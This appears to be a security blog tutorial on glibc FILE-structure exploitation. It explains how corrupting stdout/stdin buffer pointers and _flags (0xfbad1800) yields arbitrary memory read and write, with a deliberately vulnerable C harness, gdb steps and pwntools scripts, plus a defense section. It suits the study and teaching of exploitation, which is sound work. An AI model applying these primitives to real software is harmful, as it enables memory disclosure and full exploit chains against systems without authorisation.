FILE Struct Leaks: Turning fread/fwrite into Arbitrary Read/Write

FILE Struct Leaks: Turning fread/fwrite into Arbitrary Read/Write - article cover image RE & Pwn
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Not every _IO_FILE attack ends in an indirect call. A quieter, often more powerful use of a corrupted FILE is to leave the vtable alone and instead abuse the object’s buffer pointers so that ordinary fread/fwrite traffic reads and writes memory the attacker chose. A C stream is fundamentally a window over a byte buffer described by pointers inside the FILE; if you control those pointers, you control where buffered input is deposited and which bytes buffered output emits. That converts benign stdio calls into a clean arbitrary-read (memory disclosure) and arbitrary-write primitive.

This technique is especially valuable because it needs no code-pointer control and therefore sidesteps the vtable check entirely — you are using the FILE exactly as designed, just with hostile pointer values. The classic instances target the always-present standard streams _IO_2_1_stdin_ and _IO_2_1_stdout_: point stdout’s write range at a secret to leak it, or point stdin’s buffer at a target so the next read overwrites it. We cover the exact fields involved, the _flags values that keep the FILE in the right internal state, and how these primitives bootstrap the libc leak that every other FSOP technique in this series depends on.

Attack Prerequisites

This is a data-only FILE corruption, so the requirements are modest:

  • A write primitive over a FILE — most usefully _IO_2_1_stdout_/_IO_2_1_stdin_ in libc, or a heap-resident FILE you can overlap. Even a partial overwrite of a few fields is often enough.
  • Knowledge of the target FILE’s address, and (for the arbitrary-read leak) no need for a prior libc leak — this technique is frequently used *to obtain* the first leak.
  • A subsequent buffered stdio operation on that stream — a puts/printf/fwrite/fflush for the write-out (leak) direction, or a scanf/fread/fgets for the read-in (write) direction.
  • Correct _flags so the stream stays on the buffered fast path rather than diverting into refill/allocation logic.

How It Works

A FILE describes three ranges with pointer pairs. The *get area* for input is _IO_read_base/_IO_read_ptr/_IO_read_end; the *put area* for output is _IO_write_base/_IO_write_ptr/_IO_write_end; and the underlying storage is _IO_buf_base/_IO_buf_end. On a buffered write, glibc accumulates bytes between _IO_write_base and _IO_write_ptr, and when it flushes it emits everything in [_IO_write_base, _IO_write_ptr) to the file descriptor via the write syscall. On a buffered read, glibc fills [_IO_buf_base, _IO_buf_end) from the fd and hands the caller bytes from the read range. The pointers are just addresses — glibc does not verify they point into a legitimate buffer.

Arbitrary read (leak): set the stream’s flags to a value that marks it as having pending output, point _IO_write_base at the address you want to disclose and _IO_write_ptr/_IO_write_end just past the end of that range, then trigger a flush. glibc dutifully write(1, _IO_write_base, _IO_write_ptr - _IO_write_base) — emitting the target memory to stdout. The widely used _flags value for this on _IO_2_1_stdout_ is 0xfbad1800: the high bytes 0xfbad are the _IO_MAGIC marker, and the low bits set the state so the next buffered call flushes the attacker-defined write range instead of refilling. The precise low bits vary slightly by libc, so confirm against the target — but the mechanism (magic + a state that forces a flush of [write_base, write_ptr)) is constant.

Arbitrary write: the mirror image. Point _IO_buf_base at the target address and _IO_buf_end past the number of bytes you want to overwrite, clear the flags that would mark data already buffered, and trigger a read (fread/scanf/fgets). glibc reads from the fd straight into [_IO_buf_base, _IO_buf_end), so whatever you send on stdin lands at the target. Because you also control _IO_read_ptr/_IO_read_end, you can steer exactly how much is consumed. This is a genuine write-what-where built entirely out of a scanf the program was already going to call. Both directions leave the vtable untouched, so no IO_validate_vtable check is involved — the FILE is behaving normally over hostile pointers.

Vulnerable Code / Setup

The enabling condition is any bug that lets you write into a FILE. The harness models a heap overflow into a heap-allocated stream plus normal buffered I/O over stdin/stdout — the exact setting where corrupting buffer pointers pays off:

// fileio_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    char secret[32]; strcpy(secret, "THE-FLAG-IS-HERE");
    unsigned long addr, val;                 // emulated write-what-where
    // Attacker overwrites fields of _IO_2_1_stdout_/_stdin_ via this:
    while (scanf("%lu %lu", &addr, &val) == 2 && addr)
        *(unsigned long *)addr = val;
    printf("tick\n");    // a buffered write -> triggers the leak flush
    char buf[16]; fread(buf, 1, 16, stdin);  // a buffered read -> the write
    return 0;
}
C

Compile and note the protections. This technique is largely independent of RELRO/PIE — it manipulates libc data, not the GOT — but you still need the address of the target FILE, which on non-PIE libc is fixed once libc is located:

$ gcc -no-pie -g -o fileio_demo fileio_demo.c
$ checksec --file=./fileio_demo
RELRO: Partial | Canary: Yes | NX: Yes | PIE: No
$ p=$(pgrep -n fileio_demo); grep -m1 libc /proc/$p/maps 2>/dev/null
Bash

Walkthrough / Exploitation

Inspect a live stdout to see the buffer pointers and current flags — these are the fields you will overwrite:

gdb -q ./fileio_demo
pwndbg> break main
pwndbg> run
pwndbg> p (void*)&_IO_2_1_stdout_
pwndbg> print *(struct _IO_FILE_plus *)&_IO_2_1_stdout_
pwndbg> p/x ((struct _IO_FILE*)&_IO_2_1_stdout_)->_flags
pwndbg> p &((struct _IO_FILE*)0)->_IO_write_base  # field offset for writes
Bash

Arbitrary-read leak. Set stdout’s flags to the magic+flush state, then point the write range at the address to disclose (here, libc’s environ, a common stack-leak source, or any secret). The next buffered write emits it:

from pwn import *
io = process('./fileio_demo')

def W(a, v): io.sendline(b'%d %d' % (a, v))

stdout = 0x7ffff7...  # &_IO_2_1_stdout_ (from a prior partial leak / fixed off)
target = 0x7ffff7...  # address whose 8+ bytes you want to read out

W(stdout + 0x00, 0xfbad1800)      # _flags: _IO_MAGIC | flush state
W(stdout + 0x20, target)          # _IO_write_base -> target
W(stdout + 0x28, target + 0x30)   # _IO_write_ptr  -> target+N
W(stdout + 0x30, target + 0x30)   # _IO_write_end
W(0, 0)                           # let printf('tick') flush -> leaks memory
leaked = io.recv(0x30)            # target bytes arrive on stdout
Python

The same object also gives arbitrary write. Repoint stdin’s buffer at the destination and let the program’s fread deposit your bytes there. Set _IO_buf_base/_IO_buf_end to the target span and clear the read pointers so glibc refills from the fd:

stdin_ = 0x7ffff7...   # &_IO_2_1_stdin_
dest   = 0x404100      # where you want the incoming bytes written

W(stdin_ + 0x00, 0xfbad0000)      # _flags: _IO_MAGIC, no data buffered
W(stdin_ + 0x08, dest)            # _IO_read_ptr
W(stdin_ + 0x10, dest)            # _IO_read_end
W(stdin_ + 0x38, dest)            # _IO_buf_base -> destination
W(stdin_ + 0x40, dest + 0x100)    # _IO_buf_end  -> destination+span
W(0, 0)
io.send(b'A' * 0x40)              # fread() lands these bytes at 'dest'
io.interactive()
Python

In a real chain the leak direction usually comes first: with no libc address yet, an attacker corrupts stdout to dump a libc pointer (from the GOT, from environ, or from a heap chunk holding a libc pointer), computes the libc base, and only then escalates — often pivoting the arbitrary write into one of the code-execution techniques from earlier in this series (House of Apple 2, exit-handler forge). The FILE-based read/write is the bootstrap that makes the rest possible.

Note: The exact _flags low bits and field offsets are build-specific. Offsets 0x20 (_IO_write_base), 0x28 (_IO_write_ptr), 0x38 (_IO_buf_base), and 0x40 (_IO_buf_end) are 64-bit-typical, but always confirm with ptype struct _IO_FILE / p &((struct _IO_FILE*)0)->field. For the leak, the magic byte pair 0xfbad must be preserved or the stream is treated as invalid; only the low state bits change behavior.

Opsec: Leak length is controlled by _IO_write_ptr - _IO_write_base; set it too large and you dump unmapped memory and crash, too small and you miss the pointer. When leaking a specific libc pointer, align the window to the 8 bytes you need. For the write direction, make sure the stream is not line-buffered against a terminal in testing — pipe stdin so fread refills in one shot into your target buffer rather than stalling on a newline.

Detection and Defense

Because this is data-only corruption of a FILE, the defenses are about denying the write and detecting anomalous stream state, not about code-pointer protection:

  • Contain the write primitive — Full RELRO, hardened allocators, and sanitizers stop the overflow/UAF/format-string bug that reaches the FILE in the first place; this technique has no effect without that upstream write.
  • PIE + ASLR force the attacker to locate the target FILE first, which is often the very thing they are using this primitive to achieve — breaking the bootstrap leak breaks the chain.
  • Runtime FILE integrity/sanity checks — some hardened libcs and mitigations sanity-check buffer pointers against known buffers; anomalous _IO_buf_base/_IO_write_base values pointing outside any allocated buffer are a strong tell.
  • Detection — unexpected large or oddly targeted write(2)/read(2) ranges on standard fds, or stdout emitting binary/libc-pointer data, are observable signs in syscall tracing and log review.

Real-World Impact

FILE-buffer corruption is one of the most reliable libc-leak primitives in modern glibc pwning: an arbitrary write onto _IO_2_1_stdout_ with the 0xfbad1800 flags trick is a staple opening move that turns a single write into a full memory-disclosure oracle without needing a format-string or a convenient puts(GOT) call. Because it avoids code-pointer control, it is unaffected by the vtable check and by the removal of malloc/free hooks, which is why it remains current across glibc versions where flashier techniques come and go. In practice it is the bridge stage of countless heap exploits — leak libc via stdout, then finish with House of Apple 2 or an exit-handler forge.

Conclusion

A FILE is a set of pointers over a buffer, and stdio trusts those pointers completely. Overwrite _IO_write_base/_IO_write_ptr and a buffered write emits arbitrary memory (a leak); overwrite _IO_buf_base/_IO_buf_end and a buffered read deposits attacker bytes at an arbitrary address (a write). Neither touches the vtable, so validation and hook removal are irrelevant. Preserve the 0xfbad magic, get the state bits and field offsets right for your build, and one corrupted stream becomes both halves of a read/write primitive — most often the very leak that bootstraps the rest of an FSOP exploit.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL